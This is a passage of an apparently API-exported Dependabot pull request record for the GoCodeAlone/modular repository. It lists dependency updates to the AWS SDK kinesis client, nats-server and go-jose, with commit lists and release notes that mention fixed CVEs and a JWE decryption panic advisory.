href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.4 to 2.12.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.6\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.42.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7923\"\u003e#7923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/time v0.15.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7923\"\u003e#7923\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNon-WebSocket leafnode connections can now be proxied using HTTP CONNECT (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7781\"\u003e#7781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e$SYS.REQ.USER.INFO\u003c/code\u003e response now includes the friendly nametag of the account and/or user if known (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7973\"\u003e#7973\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0e0639058e0d2d8fce0cc34941f9897da152ab32\"\u003e\u003ccode\u003e0e06390\u003c/code\u003e\u003c/a\u003e Release v2.12.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f593d279dadfbe8228c532ef21216a2b4b84cf4b\"\u003e\u003ccode\u003ef593d27\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.6 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/61\"\u003e#61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9f904de022cb441444dc14fc5b0251b140fa1dae\"\u003e\u003ccode\u003e9f904de\u003c/code\u003e\u003c/a\u003e [FIXED] Incomplete route pool on premature pong\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b5101921e22a149ea8e23e725d04bf0a85893a48\"\u003e\u003ccode\u003eb510192\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/53941c24a17589c51aff5235991e77357fec2a0c\"\u003e\u003ccode\u003e53941c2\u003c/code\u003e\u003c/a\u003e Report the account and user name in USER.INFO request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/1ab002ab2b6b8057ca2897e60cf7a8b3194d3eed\"\u003e\u003ccode\u003e1ab002a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Support HTTP proxy connection from leaf nodes also for TCP\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8b6408239fedc487d20fb73626f77689c70c5766\"\u003e\u003ccode\u003e8b64082\u003c/code\u003e\u003c/a\u003e Release v2.12.6-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6ab7e9541583932608965ff3d815e323b152e42\"\u003e\u003ccode\u003ee6ab7e9\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.6-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/59\"\u003e#59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9f4d96076caa4b4af2911b6391c04e35e76ea1b6\"\u003e\u003ccode\u003e9f4d960\u003c/code\u003e\u003c/a\u003e Make the deduplication window actually work for deduplication for sourcing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/304e18402b566a211c9721c9f39eebba65153574\"\u003e\u003ccode\u003e304e184\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.4...v2.12.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/go-jose/go-jose/v4` from 4.1.3 to 4.1.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/go-jose/go-jose/releases\"\u003egithub.com/go-jose/go-jose/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eFixes Panic in JWE decryption. See \u003ca href=\"https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8\"\u003ehttps://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/go-jose/go-jose/compare/v4.1.3...v4.1.4\"\u003ehttps://github.com/go-jose/go-jose/compare/v4.1.3...v4.1.4\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-jose/go-jose/commit/0e59876635f3dbf46d7b5e97b52bb75a3f96e7d9\"\u003e\u003ccode\u003e0e59876\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-jose/go-jose/commit/ddffdbcec8bdadea8e02a20bdf19239878228215\"\u003e\u003ccode\u003eddffdbc\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 (\u003ca href=\"https://redirect.github.com/go-jose/go-jose/issues/213\"\u003e#213\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/go-jose/go-jose/compare/v4.1.3...v4.1.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n\u003e **Note**\n\u003e Automatic rebases have been disabled on this pull request as it has been open for over 30 days.\n","html_url":"https://github.com/GoCodeAlone/modular/pull/100","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/GoCodeAlone%2Fmodular/issues/100","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/100/packages"}}]}